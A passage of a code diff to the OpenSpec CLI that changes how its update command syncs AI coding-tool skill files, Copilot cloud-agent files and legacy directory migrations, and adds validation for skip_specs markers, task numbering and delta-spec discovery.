desiredWorkflows); + this.displayMissingCoreWorkflowsNote(profile, globalConfig.workflows); + this.displaySetupNotes(configuredAndNewTools); // 15. List affected tools if (updatedTools.length > 0) { @@ -291,6 +478,62 @@ export class UpdateCommand { console.log(); console.log(chalk.dim('Restart your IDE for changes to take effect.')); + if (failedTools.length > 0) { + throw new Error(`OpenSpec update failed for: ${failedTools.map((tool) => tool.name).join(', ')}`); + } + } + + private async syncCopilotCloudFiles(projectPath: string, configuredTools: string[]): Promise<void> { + try { + if (includesGitHubCopilot(configuredTools)) { + // Cloud files are opt-in (see cloud-agent.ts). `update` never prompts, + // so it only refreshes files the user has already opted into (via + // `openspec init` or a `githubCopilot.cloudAgent: true` config), or that + // a pre-opt-in project already has. Opting in is a deliberate init/config + // step, never a silent side effect of running update. + if (await isCopilotCloudEnabled(projectPath)) { + await writeCopilotCloudFiles(projectPath); + const collisions = await findUnmanagedCloudFiles(projectPath); + if (collisions.length > 0) { + console.log( + chalk.dim( + `Left your existing ${collisions.join(' and ')} untouched — add the OpenSpec ` + + `install step by hand so the Copilot cloud agent can run openspec.` + ) + ); + } + return; + } + + // Explicit opt-out (githubCopilot.cloudAgent: false) means "not here": + // remove any managed files a prior opt-in left behind (customized files + // are preserved). If the user simply never decided, stay quiet unless + // we're at an interactive terminal, where a one-line hint aids discovery. + if (readCopilotCloudOptIn(projectPath) === false) { + const removed = await removeCopilotCloudFiles(projectPath); + if (removed > 0) { + console.log( + chalk.dim(`Removed: ${removed} Copilot cloud agent file(s) (opted out of cloud files)`) + ); + } + } else if (isInteractive()) { + console.log( + chalk.dim( + "GitHub Copilot cloud coding-agent files are available (opt-in). Enable with 'openspec init --copilot-cloud'." + ) + ); + } + return; + } + + const removed = await removeCopilotCloudFiles(projectPath); + if (removed > 0) { + console.log(chalk.dim(`Removed: ${removed} Copilot cloud agent file(s) (github-copilot not configured)`)); + } + } catch (error) { + const message = error instanceof Error ? error.message : String(error); + console.warn(`Warning: failed to sync Copilot cloud agent files: ${message}`); + } } /** @@ -329,6 +572,19 @@ export class UpdateCommand { } } + /** + * Shows manual setup notes for configured tools that need extra + * configuration before they pick up generated files. + */ + private displaySetupNotes(toolIds: string[]): void { + for (const toolId of toolIds) { + const tool = AI_TOOLS.find((t) => t.value === toolId); + if (tool?.setupNote) { + console.log(chalk.yellow(`Setup required for ${tool.name}: ${tool.setupNote}`)); + } + } + } + /** * Detects new tool directories that aren't currently configured and displays a hint. */ @@ -369,11 +625,34 @@ export class UpdateCommand { } } + /** + * Point out core workflows a custom profile is missing, so releases that + * grow CORE_WORKFLOWS stay discoverable. Keep custom profiles user-owned; + * do not mutate them. + */ + private displayMissingCoreWorkflowsNote(profile: Profile, workflows?: readonly string[]): void { + if (profile !== 'custom' || !workflows) { + return; + } + + const workflowSet = new Set(workflows); + const missing = CORE_WORKFLOWS.filter((workflow) => !workflowSet.has(workflow)); + + if (missing.length === 0) { + return; + } + + const label = missing.length === 1 ? 'workflow' : 'workflows'; + const pronoun = missing.length === 1 ? 'it' : 'them'; + console.log(chalk.dim(`Note: Your custom profile is missing ${missing.length} core ${label}: ${missing.join(', ')}`)); + console.log(chalk.dim(`Run \`openspec config profile\` to add ${pronoun}, or \`openspec config profile core\` to use the core set.`)); + } + /** * Removes skill directories for workflows when delivery changed to commands-only. * Returns the number of directories removed. */ - private async removeSkillDirs(skillsDir: string): Promise<number> { + private async removeSkillDirs(skillsRoot: string, skillsDir: string): Promise<number> { let removed = 0; for (const workflow of ALL_WORKFLOWS) { @@ -381,11 +660,11 @@ export class UpdateCommand { if (!dirName) continue; const skillDir = path.join(skillsDir, dirName); + if (!fs.existsSync(skillDir)) continue; + FileSystemUtils.assertPathWithin(skillsRoot, skillDir); try { - if (fs.existsSync(skillDir)) { - await fs.promises.rm(skillDir, { recursive: true, force: true }); - removed++; - } + await fs.promises.rm(skillDir, { recursive: true, force: true }); + removed++; } catch { // Ignore errors } @@ -399,6 +678,7 @@ export class UpdateCommand { * Returns the number of directories removed. */ private async removeUnselectedSkillDirs( + skillsRoot: string, skillsDir: string, desiredWorkflows: readonly (typeof ALL_WORKFLOWS)[number][] ): Promise<number> { @@ -411,11 +691,11 @@ export class UpdateCommand { if (!dirName) continue; const skillDir = path.join(skillsDir, dirName); + if (!fs.existsSync(skillDir)) continue; + FileSystemUtils.assertPathWithin(skillsRoot, skillDir); try { - if (fs.existsSync(skillDir)) { - await fs.promises.rm(skillDir, { recursive: true, force: true }); - removed++; - } + await fs.promises.rm(skillDir, { recursive: true, force: true }); + removed++; } catch { // Ignore errors } @@ -439,7 +719,7 @@ export class UpdateCommand { for (const workflow of ALL_WORKFLOWS) { const cmdPath = adapter.getFilePath(workflow); - const fullPath = path.isAbsolute(cmdPath) ? cmdPath : path.join(projectPath, cmdPath); + const fullPath = FileSystemUtils.resolveProjectArtifactPath(projectPath, cmdPath); try { if (fs.existsSync(fullPath)) { @@ -473,7 +753,7 @@ export class UpdateCommand { for (const workflow of ALL_WORKFLOWS) { if (desiredSet.has(workflow)) continue; const cmdPath = adapter.getFilePath(workflow); - const fullPath = path.isAbsolute(cmdPath) ? cmdPath : path.join(projectPath, cmdPath); + const fullPath = FileSystemUtils.resolveProjectArtifactPath(projectPath, cmdPath); try { if (fs.existsSync(fullPath)) { @@ -488,6 +768,82 @@ export class UpdateCommand { return removed; } + /** + * Offers to move OpenSpec content out of a renamed tool's former directory + * when the old location might still be the live one — today, Windsurf's + * `.windsurf/` after the Devin Desktop rebrand. + * + * Interactive runs are asked, because nothing on disk distinguishes a user + * who took the rebrand from one still on a pre-rebrand Windsurf build that + * reads only `.windsurf/`. `--force` and non-interactive runs migrate, which + * is what an unattended upgrade wants. + */ + /** Surfaces files the move left behind rather than overwriting. */ + private reportKeptInPlace(migration: LegacyToolMigration): void { + const notice = keptInPlaceNotice(migration); + if (notice) console.log(chalk.dim(notice)); + } + + private async offerConsentedLegacyMigrations( + projectPath: string + ): Promise<LegacyToolMigration[]> { + const pending = findLegacyToolMigrations(projectPath).filter((m) => m.needsConsent); + const declined: LegacyToolMigration[] = []; + if (pending.length === 0) return declined; + + for (const migration of pending) { + // Nothing movable: every legacy file differs from its counterpart, so + // there is no move to offer. Still say so — silence would leave two + // divergent copies the user never hears about. + if (!hasMovableContent(migration)) { + this.reportKeptInPlace(migration); + console.log(); + continue; + } + + console.log(chalk.yellow(legacyMigrationNotice(migration))); + + if (!this.force && isInteractive()) { + const { confirm } = await import('@inquirer/prompts'); + let shouldMigrate: boolean; + try { + shouldMigrate = await confirm({ + message: `Move ${describeLegacyMigration(migration)} from ${migration.from}/ to ${migration.to}/?`, + default: true, + }); + } catch { + // Closed stdin is not consent, and it must not abort the update. + shouldMigrate = false; + } + if (!shouldMigrate) { + // Say what declining costs. OpenSpec writes the current root now, so + // the files keep working where they are, but OpenSpec stops managing + // them — it no longer looks in the former directory. + console.log( + chalk.dim( + `Left in place. OpenSpec writes ${migration.to}/ now and will not manage ` + + `${migration.from}/, so those files stay as they are until you move them. ` + + `You will be asked again next run.` + ) + ); + console.log(); + declined.push(migration); + continue; + } + } + + for (const applied of migrateLegacyToolDirs(projectPath, [migration.toolId])) { + if (hasMovableContent(applied)) { + console.log(chalk.dim(`Migrated ${describeLegacyMigration(applied)}: ${applied.from} → ${applied.to}`)); + } + this.reportKeptInPlace(applied); + } + console.log(); + } + + return declined; + } + /** * Detect and handle legacy OpenSpec artifacts. * Unlike init, update warns but continues if legacy files found in non-interactive mode. @@ -497,26 +853,47 @@ export class UpdateCommand { projectPath: string, desiredWorkflows: readonly (typeof ALL_WORKFLOWS)[number][], delivery: Delivery - ): Promise<string[]> { + ): Promise<LegacyUpgradeResult> { // Detect legacy artifacts const detection = await detectLegacyArtifacts(projectPath); if (!detection.hasLegacyArtifacts) { - return []; // No legacy artifacts found + return { newlyConfiguredTools: [], workflowOverrides: {} }; // No legacy artifacts found } // Show what was detected - console.log(); - console.log(formatDetectionSummary(detection)); - console.log(); + const immediateSummary = formatDetectionSummary(omitGlobalLegacyPromptFiles(detection)); + const deferredSummary = formatDeferredGlobalPromptSummary(detection); + if (immediateSummary || deferredSummary) { + console.log(); + if (immediateSummary) { + console.log(immediateSummary); + console.log(); + } + if (deferredSummary) { + console.log(deferredSummary); + console.log(); + } + } const canPrompt = isInteractive(); if (this.force) { - // --force flag: proceed with cleanup automatically - await this.performLegacyCleanup(projectPath, detection); - // Then upgrade legacy tools to new skills - return this.upgradeLegacyTools(projectPath, detection, canPrompt, desiredWorkflows, delivery); + const legacyUpgrade = await this.upgradeLegacyTools( + projectPath, + detection, + canPrompt, + desiredWorkflows, + delivery + ); + await this.performImmediateLegacyCleanup(projectPath, detection); + return { + ...legacyUpgrade, + deferredGlobalCleanup: pickGlobalLegacyPromptFiles( + detection, + detection.globalSlashCommandFiles + ), + }; } if (!canPrompt) { @@ -524,7 +901,7 @@ export class UpdateCommand { // (Unlike init, update doesn't abort - user may just want to update skills) console.log(chalk.yellow('⚠ Run with --force to auto-cleanup legacy files, or run interactively.')); console.log(); - return []; + return { newlyConfiguredTools: [], workflowOverrides: {} }; } // Interactive mode: prompt for confirmation @@ -535,13 +912,72 @@ export class UpdateCommand { }); if (shouldCleanup) { - await this.performLegacyCleanup(projectPath, detection); - // Then upgrade legacy tools to new skills - return this.upgradeLegacyTools(projectPath, detection, canPrompt, desiredWorkflows, delivery); + const legacyUpgrade = await this.upgradeLegacyTools( + projectPath, + detection, + canPrompt, + desiredWorkflows, + delivery + ); + await this.performImmediateLegacyCleanup(projectPath, detection); + return { + ...legacyUpgrade, + deferredGlobalCleanup: pickGlobalLegacyPromptFiles( + detection, + detection.globalSlashCommandFiles + ), + }; } else { console.log(chalk.dim('Skipping legacy cleanup. Continuing with skill update...')); console.log(); - return []; + return { newlyConfiguredTools: [], workflowOverrides: {} }; + } + } + + /** + * Cleans approved repo-local legacy artifacts before configured tools refresh. + */ + private async performImmediateLegacyCleanup( + projectPath: string, + detection: LegacyDetectionResult + ): Promise<void> { + const immediateDetection = omitGlobalLegacyPromptFiles(detection); + if (immediateDetection.hasLegacyArtifacts) { + await this.performLegacyCleanup(projectPath, immediateDetection); + } + } + + /** + * Cleans approved global Codex prompts after configured tools refresh so newly + * installed replacement skills can retire their prompts in the same run. + */ + private async performDeferredGlobalPromptCleanup( + projectPath: string, + detection: LegacyDetectionResult + ): Promise<void> { + const availableCodexWorkflows = new Set(scanInstalledWorkflows(projectPath, ['codex'])); + const removableMatches = getLegacyGlobalPromptMatches(detection) + .filter((prompt) => prompt.workflowIds.every((workflowId) => availableCodexWorkflows.has(workflowId))); + + if (removableMatches.length > 0) { + await this.performLegacyCleanup( + projectPath, + pickGlobalLegacyPromptFiles( + detection, + removableMatches.map((prompt) => prompt.path) + ) + ); + } + + const blockedMatches = getLegacyGlobalPromptMatches(detection) + .filter((prompt) => !removableMatches.some((match) => match.path === prompt.path)); + + if (blockedMatches.length > 0) { + console.log(chalk.yellow('Preserved deferred global prompts without replacement skills:')); + for (const prompt of blockedMatches) { + console.log(chalk.dim(` - ${prompt.toolId}: ${prompt.path}`)); + } + console.log(); } } @@ -565,8 +1001,8 @@ export class UpdateCommand { } /** - * Upgrade legacy tools to new skills system. - * Returns array of tool IDs that were newly configured. + * Upgrades unconfigured legacy tools into the skills-based setup and carries + * workflow overrides for migrations that should mirror legacy Codex prompts. */ private async upgradeLegacyTools( projectPath: string, @@ -574,12 +1010,12 @@ export class UpdateCommand { canPrompt: boolean, desiredWorkflows: readonly (typeof ALL_WORKFLOWS)[number][], delivery: Delivery - ): Promise<string[]> { + ): Promise<LegacyUpgradeResult> { // Get tools that had legacy artifacts const legacyTools = getToolsFromLegacyArtifacts(detection); if (legacyTools.length === 0) { - return []; + return { newlyConfiguredTools: [], workflowOverrides: {} }; } // Get currently configured tools @@ -590,7 +1026,7 @@ export class UpdateCommand { const unconfiguredLegacyTools = legacyTools.filter((t) => !configuredSet.has(t)); if (unconfiguredLegacyTools.length === 0) { - return []; + return { newlyConfiguredTools: [], workflowOverrides: {} }; } // Get valid tools (those with skillsDir) @@ -598,7 +1034,7 @@ export class UpdateCommand { const validUnconfiguredTools = unconfiguredLegacyTools.filter((t) => validToolIds.has(t)); if (validUnconfiguredTools.length === 0) { - return []; + return { newlyConfiguredTools: [], workflowOverrides: {} }; } // Show what tools were detected from legacy artifacts @@ -639,25 +1075,37 @@ export class UpdateCommand { if (selectedTools.length === 0) { console.log(chalk.dim('Skipping tool setup.')); console.log(); - return []; + return { newlyConfiguredTools: [], workflowOverrides: {} }; } } + const inferredCodexWorkflows = getLegacyWorkflowIdsForTool(detection, 'codex'); + // Create skills/commands for selected tools using effective profile+delivery. const newlyConfigured: string[] = []; - const shouldGenerateSkills = delivery !== 'commands'; - const shouldGenerateCommands = delivery !== 'skills'; - const skillTemplates = shouldGenerateSkills ? getSkillTemplates(desiredWorkflows) : []; - const commandContents = shouldGenerateCommands ? getCommandContents(desiredWorkflows) : []; + const workflowOverrides: LegacyUpgradeResult['workflowOverrides'] = {}; for (const toolId of selectedTools) { const tool = AI_TOOLS.find((t) => t.value === toolId); - if (!tool?.skillsDir) continue; + if (!tool || !toolSupportsSkills(tool)) continue; const spinner = ora(`Setting up ${tool.name}...`).start(); try { - const skillsDir = path.join(projectPath, tool.skillsDir, 'skills'); + const skillsDir = resolveToolSkillsDir(projectPath, tool); + const skillsRoot = hasGlobalSkillTarget(tool) ? skillsDir : projectPath; + const shouldGenerateSkills = shouldGenerateSkillsForTool(tool.value, delivery); + const shouldGenerateCommands = shouldGenerateCommandsForTool(tool.value, delivery); + const toolWorkflows = ( + tool.value === 'codex' && inferredCodexWorkflows.length > 0 + ? inferredCodexWorkflows + : desiredWorkflows + ); + if (tool.value === 'codex' && inferredCodexWorkflows.length > 0) { + workflowOverrides[tool.value] = inferredCodexWorkflows; + } + const skillTemplates = getSkillTemplates(toolWorkflows); + const commandContents = getCommandContents(toolWorkflows); // Create skill files when delivery includes skills if (shouldGenerateSkills) { @@ -665,11 +1113,17 @@ export class UpdateCommand { const skillDir = path.join(skillsDir, dirName); const skillFile = path.join(skillDir, 'SKILL.md'); - // Use hyphen-based command references for OpenCode - const transformer = (tool.value === 'opencode' || tool.value === 'pi') ? transformToHyphenCommands : undefined; + const transformer = getTransformerForTool( + tool.value, + delivery, + resolveCommandSurfaceCapability(tool.value), + resolveCommandInvocation(tool.value) + ); const skillContent = generateSkillContent(template, OPENSPEC_VERSION, transformer); + FileSystemUtils.assertPathWithin(skillsRoot, skillFile); await FileSystemUtils.writeFile(skillFile, skillContent); } + writeSharedSkillTarget(projectPath, tool.value); } // Create commands when delivery includes commands @@ -679,7 +1133,10 @@ export class UpdateCommand { const generatedCommands = generateCommands(commandContents, adapter); for (const cmd of generatedCommands) { - const commandFile = path.isAbsolute(cmd.path) ? cmd.path : path.join(projectPath, cmd.path); + const commandFile = FileSystemUtils.resolveProjectArtifactPath( + projectPath, + cmd.path + ); await FileSystemUtils.writeFile(commandFile, cmd.fileContent); } } @@ -687,6 +1144,16 @@ export class UpdateCommand { spinner.succeed(`Setup complete for ${tool.name}`); newlyConfigured.push(toolId); + for (const migration of migrateLegacyToolDirs( + projectPath, + [tool.value], + 'after-generation' + )) { + if (hasMovableContent(migration)) { + console.log(chalk.dim(`Migrated ${describeLegacyMigration(migration)}: ${migration.from} → ${migration.to}`)); + } + this.reportKeptInPlace(migration); + } } catch (error) { spinner.fail(`Failed to set up ${tool.name}`); console.log(chalk.red(` ${error instanceof Error ? error.message : String(error)}`)); @@ -697,6 +1164,6 @@ export class UpdateCommand { console.log(); } - return newlyConfigured; + return { newlyConfiguredTools: newlyConfigured, workflowOverrides }; } } diff --git a/src/core/validation/constants.ts b/src/core/validation/constants.ts index a6cf0de60f..d08cd47ebe 100644 --- a/src/core/validation/constants.ts +++ b/src/core/validation/constants.ts @@ -26,6 +26,12 @@ export const VALIDATION_MESSAGES = { CHANGE_WHY_TOO_LONG: `Why section should not exceed ${MAX_WHY_SECTION_LENGTH} characters`, CHANGE_WHAT_EMPTY: 'What Changes section cannot be empty', CHANGE_NO_DELTAS: 'Change must have at least one delta', + CHANGE_SKIP_SPECS_CONFLICT: + 'skip_specs is set in .openspec.yaml but spec files exist under specs/. Remove skip_specs or delete the delta spec files', + CHANGE_SKIP_SPECS_ACCEPTED: + 'skip_specs is set in .openspec.yaml: change declares no spec-level behavior changes, zero deltas accepted', + CHANGE_SKIP_SPECS_INVALID_METADATA: + 'skip_specs is set but .openspec.yaml is not valid change metadata, so the marker is not honored. Fix the metadata', CHANGE_TOO_MANY_DELTAS: `Consider splitting changes with more than ${MAX_DELTAS_PER_CHANGE} deltas`, DELTA_SPEC_EMPTY: 'Spec name cannot be empty', DELTA_DESCRIPTION_EMPTY: 'Delta description cannot be empty', @@ -38,7 +44,7 @@ export const VALIDATION_MESSAGES = { // Guidance snippets (appended to primary messages for remediation) GUIDE_NO_DELTAS: - 'No deltas found. Ensure your change has a specs/ directory with capability folders (e.g. specs/http-server/spec.md) containing .md files that use delta headers (## ADDED/MODIFIED/REMOVED/RENAMED Requirements) and that each requirement includes at least one "#### Scenario:" block. Tip: run "openspec change show <change-id> --json --deltas-only" to inspect parsed deltas.', + 'No deltas found. Ensure your change has a specs/ directory with capability folders (e.g. specs/http-server/spec.md) containing .md files that use delta headers (## ADDED/MODIFIED/REMOVED/RENAMED Requirements) and that each requirement includes at least one "#### Scenario:" block. If this change intentionally modifies no specs (pure refactor, tooling, docs), set "skip_specs: true" in the change\'s .openspec.yaml instead. Tip: run "openspec change show <change-id> --json --deltas-only" to inspect parsed deltas.', GUIDE_MISSING_SPEC_SECTIONS: 'Missing required sections. Expected headers: "## Purpose" and "## Requirements". Example:\n## Purpose\n[brief purpose]\n\n## Requirements\n### Requirement: Clear requirement statement\nUsers SHALL ...\n\n#### Scenario: Descriptive name\n- **WHEN** ...\n- **THEN** ...', GUIDE_MISSING_CHANGE_SECTIONS: diff --git a/src/core/validation/task-numbering.ts b/src/core/validation/task-numbering.ts new file mode 100644 index 0000000000..a77767a260 --- /dev/null +++ b/src/core/validation/task-numbering.ts @@ -0,0 +1,80 @@ +import { parseTaskLines } from '../../utils/task-progress.js'; + +export interface TaskNumberingDocument { + path: string; + content: string; +} + +export interface TaskNumberingIssue { + path: string; + line: number; + message: string; +} + +interface TaskLocation { + path: string; + line: number; +} + +const LEVEL_TWO_HEADING = /^ {0,3}##(?!#)(?:[ \t]+|[ \t]*\r?$)/; +const NUMBERED_GROUP_HEADING = /^ {0,3}##[ \t]+(\d+)\.(?:[ \t]|\r?$)/; +const TASK_ID = /^(\d+(?:\.\d+)+(?:[A-Za-z]+)?)(?=\s|$)/; + +/** + * Finds ambiguous task references across the task files tracked by a change. + * Numbering is interpreted only inside `## N.` groups. Unnumbered sections, + * unnumbered tasks, and files without numbered groups are intentionally ignored. + */ +export function findTaskNumberingIssues( + documents: readonly TaskNumberingDocument[] +): TaskNumberingIssue[] { + const issues: TaskNumberingIssue[] = []; + const firstLocationById = new Map<string, TaskLocation>(); + + for (const document of documents) { + const lines = document.content.split('\n'); + if (!lines.some((line) => NUMBERED_GROUP_HEADING.test(line))) continue; + + let currentGroup: string | undefined; + + lines.forEach((line, index) => { + if (LEVEL_TWO_HEADING.test(line)) { + currentGroup = line.match(NUMBERED_GROUP_HEADING)?.[1]; + } + if (currentGroup === undefined) return; + + const task = parseTaskLines(line)[0]; + const id = task?.description.match(TASK_ID)?.[1]; + if (!id) return; + + const lineNumber = index + 1; + const taskGroup = id.split('.')[0]; + const normalizedTaskGroup = taskGroup.replace(/^0+(?=\d)/, ''); + const normalizedCurrentGroup = currentGroup.replace(/^0+(?=\d)/, ''); + if (normalizedTaskGroup !== normalizedCurrentGroup) { + issues.push({ + path: document.path, + line: lineNumber, + message: `Task "${id}" is under group ${currentGroup}, but its leading number points to group ${taskGroup}. Move it to group ${taskGroup} or renumber it.`, + }); + } + + const firstLocation = firstLocationById.get(id); + if (firstLocation !== undefined) { + const firstDeclaration = + firstLocation.path === document.path + ? `on line ${firstLocation.line}` + : `in ${firstLocation.path} on line ${firstLocation.line}`; + issues.push({ + path: document.path, + line: lineNumber, + message: `Task ID "${id}" is duplicated; it was first declared ${firstDeclaration}.`, + }); + } else { + firstLocationById.set(id, { path: document.path, line: lineNumber }); + } + }); + } + + return issues; +} diff --git a/src/core/validation/validator.ts b/src/core/validation/validator.ts index 37b43a37df..56f771e1a8 100644 --- a/src/core/validation/validator.ts +++ b/src/core/validation/validator.ts @@ -10,9 +10,30 @@ import { MAX_REQUIREMENT_TEXT_LENGTH, VALIDATION_MESSAGES } from './constants.js'; -import { parseDeltaSpec, normalizeRequirementName } from '../parsers/requirement-blocks.js'; +import { + parseDeltaSpec, + foldRequirementName, + normalizeRequirementName, + extractRequirementsSection, + findMissingCurrentScenarios, + type RequirementBlock, +} from '../parsers/requirement-blocks.js'; +import { + extractRequirementBody as extractRequirementBodyShared, + containsShallOrMust as containsShallOrMustShared, + countScenarios as countScenariosShared, +} from '../parsers/requirement-text.js'; import { findMainSpecStructureIssues } from '../parsers/spec-structure.js'; import { FileSystemUtils } from '../../utils/file-system.js'; +import { discoverSpecFiles, hasAnyFileUnder } from '../../utils/spec-discovery.js'; +import { + METADATA_FILENAME, + readSkipSpecsMarker, + resolveSchemaForChange, +} from '../../utils/change-metadata.js'; +import { resolveTaskFilesForChange } from '../../utils/task-progress.js'; +import { findTaskNumberingIssues } from './task-numbering.js'; +import { getPackageSchemasDir, getSchemaDir } from '../artifact-graph/index.js'; export class Validator { private strictMode: boolean; @@ -79,13 +100,28 @@ export class Validator { const content = readFileSync(filePath, 'utf-8'); const changeDir = path.dirname(filePath); const parser = new ChangeParser(content, changeDir); - + const change = await parser.parseChangeWithDeltas(changeName); - + const result = ChangeSchema.safeParse(change); - + + const marker = readSkipSpecsMarker(changeDir); + if (marker.invalidReason) { + issues.push({ level: 'ERROR', path: METADATA_FILENAME, message: this.formatInvalidMarkerMessage(marker.invalidReason) }); + } + if (!result.success) { - issues.push(...this.convertZodErrors(result.error)); + let zodIssues = this.convertZodErrors(result.error); + // Only the no-deltas error is marker-aware here: the marker+files + // conflict is validateChangeDeltaSpecs's job, and every caller of + // this proposal-level pass (archive's non-blocking warnings) pairs + // it with that gate. + if (marker.declared) { + zodIssues = zodIssues.filter( + issue => !issue.message.startsWith(VALIDATION_MESSAGES.CHANGE_NO_DELTAS) + ); + } + issues.push(...zodIssues); } issues.push(...this.applyChangeRules(change, content)); @@ -107,24 +143,54 @@ export class Validator { * Validate delta-formatted spec files under a change directory. * Enforces: * - At least one delta across all files - * - ADDED/MODIFIED: each requirement has SHALL/MUST and at least one scenario + * - ADDED/MODIFIED: each requirement has at least one scenario; missing + * English SHALL/MUST keywords are guidance unless strict mode is enabled * - REMOVED: names only; no scenario/description required * - RENAMED: pairs well-formed * - No duplicates within sections; no cross-section conflicts per spec + * + * When `options.mainSpecsDir` is given, MODIFIED blocks are also checked + * against the current main specs for the scenario loss archive refuses to + * apply (#1477). When `options.projectRoot` is given, the schema's tracked + * task files are checked for ambiguous numbering (#1520). Omitting either + * option keeps existing library and archive callers behaving as before. */ - async validateChangeDeltaSpecs(changeDir: string): Promise<ValidationReport> { + async validateChangeDeltaSpecs( + changeDir: string, + options: { mainSpecsDir?: string; projectRoot?: string } = {} + ): Promise<ValidationReport> { const issues: ValidationIssue[] = []; const specsDir = path.join(changeDir, 'specs'); let totalDeltas = 0; + let hasRootLevelSpec = false; const missingHeaderSpecs: string[] = []; const emptySectionSpecs: Array<{ path: string; sections: string[] }> = []; try { - const entries = await fs.readdir(specsDir, { withFileTypes: true }); - for (const entry of entries) { - if (!entry.isDirectory()) continue; - const specName = entry.name; - const specFile = path.join(specsDir, specName, 'spec.md'); + // Discover delta specs through the same helper the change parser, show, + // apply, and archive use, so validate never accepts a layout the merge + // path silently skips (#1385). It finds spec.md at any depth, covering + // both specs/<capability>/spec.md and the nested multi-area + // specs/<area>/<capability>/spec.md layout (#1182b). + const discoveredSpecs = await discoverSpecFiles(specsDir); + + // A spec.md directly at the specs/ root has no capability folder, so the + // merge path drops it: without this error the change validates clean and + // archives while its requirements never reach openspec/specs/ (#1385). + // Only a regular file counts — a *directory* named spec.md is a capability + // folder like any other, and discoverSpecFiles reads it normally. + const rootSpecStat = await fs.stat(path.join(specsDir, 'spec.md')).catch(() => null); + hasRootLevelSpec = rootSpecStat?.isFile() === true; + if (hasRootLevelSpec) { + issues.push({ + level: 'ERROR', + path: 'spec.md', + message: + 'Delta spec found at specs/spec.md. Delta specs must live under a capability path (e.g. specs/<capability-path>/spec.md) — a file at the specs/ root is ignored when the change is applied or archived.', + }); + } + + for (const { id: specId, specFile } of discoveredSpecs) { let content: string | undefined; try { content = await fs.readFile(specFile, 'utf-8'); @@ -133,7 +199,26 @@ export class Validator { } const plan = parseDeltaSpec(content); - const entryPath = `${specName}/spec.md`; + const entryPath = FileSystemUtils.toPosixPath(path.relative(specsDir, specFile)); + + // Surface (as INFO, never a failure) the non-canonical level-3 headers + // the delta reader skipped while parsing ADDED/MODIFIED sections — + // without this note a stray divider like "### Documentation + // Requirements" would pass validate <change> while failing + // archive/validate <spec>. The list comes from the parse itself, so it + // reflects exactly what the reader skipped. + for (const stray of plan.skippedHeaders) { + const nameless = /^requirement:?$/i.test(stray.header); + issues.push({ + level: 'INFO', + path: entryPath, + line: stray.line, + message: nameless + ? `Header "### ${stray.header}" in ${stray.section} is missing a requirement name and is ignored by validation. Add a name, e.g. "### Requirement: <name>".` + : `Header "### ${stray.header}" in ${stray.section} is not a "### Requirement:" header and is ignored by validation. Use "### Requirement: ${stray.header}" if it should be validated as a requirement.`, + }); + } + const sectionNames: string[] = []; if (plan.sectionPresence.added) sectionNames.push('## ADDED Requirements'); if (plan.sectionPresence.modified) sectionNames.push('## MODIFIED Requirements'); @@ -163,9 +248,23 @@ export class Validator { } const requirementText = this.extractRequirementText(block.raw); if (!requirementText) { - issues.push({ level: 'ERROR', path: entryPath, message: `ADDED "${block.name}" is missing requirement text` }); + issues.push({ + level: 'ERROR', + path: entryPath, + message: this.containsShallOrMust(block.name) + ? this.buildMissingShallOrMustMessage(`ADDED "${block.name}"`, block.name) + : `ADDED "${block.name}" is missing requirement text`, + }); } else if (!this.containsShallOrMust(requirementText)) { - issues.push({ level: 'ERROR', path: entryPath, message: `ADDED "${block.name}" must contain SHALL or MUST` }); + issues.push({ + level: 'WARNING', + path: entryPath, + message: this.buildMissingShallOrMustMessage( + `ADDED "${block.name}"`, + block.name, + true + ), + }); } const scenarioCount = this.countScenarios(block.raw); if (scenarioCount < 1) { @@ -184,9 +283,23 @@ export class Validator { } const requirementText = this.extractRequirementText(block.raw); if (!requirementText) { - issues.push({ level: 'ERROR', path: entryPath, message: `MODIFIED "${block.name}" is missing requirement text` }); + issues.push({ + level: 'ERROR', + path: entryPath, + message: this.containsShallOrMust(block.name) + ? this.buildMissingShallOrMustMessage(`MODIFIED "${block.name}"`, block.name) + : `MODIFIED "${block.name}" is missing requirement text`, + }); } else if (!this.containsShallOrMust(requirementText)) { - issues.push({ level: 'ERROR', path: entryPath, message: `MODIFIED "${block.name}" must contain SHALL or MUST` }); + issues.push({ + level: 'WARNING', + path: entryPath, + message: this.buildMissingShallOrMustMessage( + `MODIFIED "${block.name}"`, + block.name, + true + ), + }); } const scenarioCount = this.countScenarios(block.raw); if (scenarioCount < 1) { @@ -194,6 +307,26 @@ export class Validator { } } + // Run archive's scenario-loss check here too, so the change fails at + // authoring time instead of days later at archive time (#1477). + if (options.mainSpecsDir && plan.modified.length > 0) { + const mainSpecFile = path.join( + options.mainSpecsDir, + ...specId.split('/'), + 'spec.md' + ); + FileSystemUtils.assertPathWithin(path.dirname(mainSpecFile), mainSpecFile); + issues.push( + ...(await this.findScenarioLossIssues( + plan.modified, + plan.renamed, + mainSpecFile, + entryPath, + path.dirname(mainSpecFile) + )) + ); + } + // Validate REMOVED (names only) for (const name of plan.removed) { const key = normalizeRequirementName(name); @@ -245,10 +378,32 @@ export class Validator { if (addedNames.has(toKey)) { issues.push({ level: 'ERROR', path: entryPath, message: `RENAMED TO collides with ADDED for "${to}"` }); } + // Folded comparison: a case/whitespace variant of the FROM header + // in REMOVED is the same contradiction, not a different name. + const removedFoldMatch = [...removedNames].find( + (r) => foldRequirementName(r) === foldRequirementName(fromKey) + ); + if (removedFoldMatch !== undefined) { + issues.push({ + level: 'ERROR', + path: entryPath, + message: + `Requirement present in both RENAMED and REMOVED: "${from}"` + + (removedFoldMatch === fromKey ? '' : ` (REMOVED spells it "${removedFoldMatch}")`), + }); + } } } - } catch { - // If no specs dir, treat as no deltas + } catch (error) { + // A missing specs dir (or a stray `specs` file) means no deltas; + // anything else (EACCES, EIO) must stay loud — discoverSpecFiles + // documents that silently dropping an unreadable capability recreates + // the data-loss class it prevents, and archive lets the same error + // propagate. + const code = (error as NodeJS.ErrnoException)?.code; + if (code !== 'ENOENT' && code !== 'ENOTDIR') { + throw error; + } } for (const { path: specPath, sections } of emptySectionSpecs) { @@ -266,13 +421,208 @@ export class Validator { }); } - if (totalDeltas === 0) { - issues.push({ level: 'ERROR', path: 'file', message: this.enrichTopLevelError('change', VALIDATION_MESSAGES.CHANGE_NO_DELTAS) }); + const marker = readSkipSpecsMarker(changeDir); + if (marker.invalidReason) { + issues.push({ level: 'ERROR', path: METADATA_FILENAME, message: this.formatInvalidMarkerMessage(marker.invalidReason) }); + } + + // ANY file under specs/ contradicts the marker - not just parsed deltas. + // Headerless or stray files would be silently dropped at archive time (and + // some still satisfy the artifact graph's specs/** glob) while the change + // claims to have nothing, so they must surface as an explicit conflict. + // Probed only when the marker is 